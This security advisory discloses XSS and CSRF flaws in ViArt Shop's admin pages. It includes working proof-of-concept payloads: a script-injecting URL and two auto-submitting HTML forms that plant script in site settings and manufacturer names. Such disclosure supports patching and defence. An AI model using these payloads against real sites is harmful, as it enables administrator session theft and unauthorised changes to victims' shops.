Multiple Vulnerabilities in ViArt Shop

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in ViArt Shop which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in ViArt Shop
The vulnerability exists due to input sanitation error in the "item_id" parameter in admin/admin_product.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/admin_product.php?category_id=0&item_id=1%22%3E%3Cscript%3 Ealert%28document.cookie %29%3C/script%3E

2) Cross-site request forgery (CSRF) vulnerabilities in ViArt Shop
2.1 The vulnerability exists due to insufficient validation of the request origin in admin/admin_global_settings.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "html_below_footer" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/admin_global_settings.php" method="post" name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="rp" value="admin.php">
<input type="hidden" name="tab" value="general">
<input type="hidden" name="site_name" value="Default Site">
<input type="hidden" name="site_url" value="http://host/">
<input type="hidden" name="admin_email" value="email@example.com">
<input type="hidden" name="layout_id" value="1">
<input type="hidden" name="password_encrypt" value="0">
<input type="hidden" name="admin_password_encrypt" value="0">
<input type="hidden" name="html_below_footer" value='12345"><script>alert(document.cookie)</script>'>
<input type="hidden" name="operation" value="save">
</form>
<script>
document.main.submit();
</script>
2.2 The vulnerability exists due to insufficient validation of the request origin in admin/admin_manufacturer.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "manufacturer_name" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/admin_manufacturer.php" method="post" name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="manufacturer_id" value="3">
<input type="hidden" name="manufacturer_name" value='Company"><script>alert(document.cookie)</script>'>
<input type="hidden" name="manufacturer_order" value="1">
<input type="hidden" name="friendly_url" value="">
<input type="hidden" name="affiliate_code" value="">
<input type="hidden" name="short_description" value="">
<input type="hidden" name="full_description" value="">
<input type="hidden" name="image_small" value="images/manufacturers/small/company.gif">
<input type="hidden" name="image_small_alt" value="company">
<input type="hidden" name="image_large" value="images/manufacturers/large/company.gif">
<input type="hidden" name="image_large_alt" value="company">
</form>
<script>
document.main.submit();
</script>